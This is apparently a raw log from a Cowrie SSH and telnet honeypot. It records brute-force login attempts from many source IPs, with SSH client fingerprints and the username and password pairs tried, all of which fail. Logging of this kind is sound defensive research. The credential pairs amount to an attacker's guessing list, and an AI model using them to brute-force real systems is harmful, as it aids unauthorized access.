{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:07.741035Z","src_ip":"143.20.185.207","session":"e6e7a92f49b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#4VCPU16GBAMD","message":"login attempt [root/XYZZ#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:08.137875Z","src_ip":"143.20.185.207","session":"e6e7a92f49b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:09.269240Z","src_ip":"143.20.185.207","session":"e6e7a92f49b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":44624,"dst_ip":"159.203.135.109","dst_port":22,"session":"a36e817da281","protocol":"ssh","message":"New connection: 101.126.22.12:44624 (159.203.135.109:22) [session: a36e817da281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:13.284289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:14.670107Z","src_ip":"101.126.22.12","session":"a36e817da281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:14.679242Z","src_ip":"101.126.22.12","session":"a36e817da281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":50714,"dst_ip":"10.17.0.5","dst_port":22,"session":"2006761ade41","protocol":"ssh","message":"New connection: 85.215.121.209:50714 (10.17.0.5:22) [session: 2006761ade41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:29.783077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:29.787227Z","src_ip":"85.215.121.209","session":"2006761ade41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:29.878892Z","src_ip":"85.215.121.209","session":"2006761ade41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sergey_nazarov","password":"sergey123","message":"login attempt [sergey_nazarov/sergey123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:30.155462Z","src_ip":"85.215.121.209","session":"2006761ade41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:31.249648Z","src_ip":"85.215.121.209","session":"2006761ade41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60050,"dst_ip":"159.203.135.109","dst_port":23,"session":"f575063159fd","protocol":"telnet","message":"New connection: 170.64.224.25:60050 (159.203.135.109:23) [session: f575063159fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:32.787283Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":47544,"dst_ip":"10.17.0.5","dst_port":22,"session":"3083ab778eec","protocol":"ssh","message":"New connection: 103.82.20.28:47544 (10.17.0.5:22) [session: 3083ab778eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:47.480081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:47.484044Z","src_ip":"103.82.20.28","session":"3083ab778eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:47.747487Z","src_ip":"103.82.20.28","session":"3083ab778eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cth","message":"login attempt [root/cth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:48.531177Z","src_ip":"103.82.20.28","session":"3083ab778eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.009912729263306,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:49.525569Z","src_ip":"170.64.224.25","session":"6de2cf66ba7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:49.793687Z","src_ip":"103.82.20.28","session":"3083ab778eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":57022,"dst_ip":"159.203.135.109","dst_port":22,"session":"40fdeb56e54a","protocol":"ssh","message":"New connection: 162.240.218.183:57022 (159.203.135.109:22) [session: 40fdeb56e54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:53.828360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:53.832770Z","src_ip":"162.240.218.183","session":"40fdeb56e54a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:53.924372Z","src_ip":"162.240.218.183","session":"40fdeb56e54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tr0ng!P@ssw0rd","message":"login attempt [root/Tr0ng!P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:54.193427Z","src_ip":"162.240.218.183","session":"40fdeb56e54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:55.283574Z","src_ip":"162.240.218.183","session":"40fdeb56e54a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53026,"dst_ip":"10.17.0.5","dst_port":22,"session":"062405c179ce","protocol":"ssh","message":"New connection: 194.113.233.25:53026 (10.17.0.5:22) [session: 062405c179ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:55.632977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:55.639616Z","src_ip":"194.113.233.25","session":"062405c179ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:55.730060Z","src_ip":"194.113.233.25","session":"062405c179ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29011996","message":"login attempt [root/29011996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:56.003335Z","src_ip":"194.113.233.25","session":"062405c179ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:52:57.096350Z","src_ip":"194.113.233.25","session":"062405c179ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":33622,"dst_ip":"10.17.0.5","dst_port":22,"session":"a39de10ce242","protocol":"ssh","message":"New connection: 208.109.189.255:33622 (10.17.0.5:22) [session: a39de10ce242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:08.577715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:08.581387Z","src_ip":"208.109.189.255","session":"a39de10ce242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:08.646508Z","src_ip":"208.109.189.255","session":"a39de10ce242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"H3d3r@!M@st3r#P@ss","message":"login attempt [root/H3d3r@!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:08.842460Z","src_ip":"208.109.189.255","session":"a39de10ce242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:09.913054Z","src_ip":"208.109.189.255","session":"a39de10ce242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.71424388885498,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:13.501405Z","src_ip":"170.64.224.25","session":"f575063159fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":38288,"dst_ip":"159.203.135.109","dst_port":22,"session":"94fc9089f2ec","protocol":"ssh","message":"New connection: 191.7.26.153:38288 (159.203.135.109:22) [session: 94fc9089f2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:30.084510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:30.089892Z","src_ip":"191.7.26.153","session":"94fc9089f2ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:30.212510Z","src_ip":"191.7.26.153","session":"94fc9089f2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"self","password":"self","message":"login attempt [self/self] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:31.115067Z","src_ip":"191.7.26.153","session":"94fc9089f2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:32.234372Z","src_ip":"191.7.26.153","session":"94fc9089f2ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59862,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd418efbf2f","protocol":"telnet","message":"New connection: 170.64.224.25:59862 (159.203.135.109:23) [session: ebd418efbf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:36.642210Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":35646,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cade5995f9b","protocol":"ssh","message":"New connection: 103.77.242.62:35646 (10.17.0.5:22) [session: 1cade5995f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:40.050644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:40.054412Z","src_ip":"103.77.242.62","session":"1cade5995f9b","protocol":"ssh"}
